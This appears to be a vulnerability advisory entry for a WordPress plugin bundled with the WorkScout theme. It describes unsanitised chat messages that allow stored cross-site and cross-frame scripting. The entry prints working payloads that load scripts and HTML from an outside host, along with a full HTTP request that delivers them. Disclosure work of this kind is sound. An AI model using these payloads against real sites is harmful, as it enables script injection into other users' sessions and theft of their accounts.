The plugin, used by the WorkScout Theme did not sanitise the chat messages sent via the workscout_send_message_chat AJAX action, leading to Stored Cross-Site Scripting and Cross-Frame Scripting issues
Payloads: <!-->"><script src=https://m0ze.ru/payload/a.js></script> <!-->"><!--><embed src=https://m0ze.ru/payload/xfsii.html> POST /wp-admin/admin-ajax.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded; charset=UTF-8 X-Requested-With: XMLHttpRequest Referer: https://workscout.in/messages/?action=view&conv_id=163 Cookie: [user cookies] action=workscout_send_message_chat&recipient=3&conversation_id=163&message=%3C!--%3E%22%3E%3Cscript%20src%3Dhttps%3A%2F%2Fm0ze.ru%2Fpayload%2Fa.js%3E%3C%2Fscript%3E%3C!--%3E%3Cembed%20src%3Dhttps%3A%2F%2Fm0ze.ru%2Fpayload%2Fxfsii.html%3E
m0ze
m0ze
Yes
2021-04-08 (about 1 years ago)
2021-04-08 (about 1 years ago)
2021-04-09 (about 1 years ago)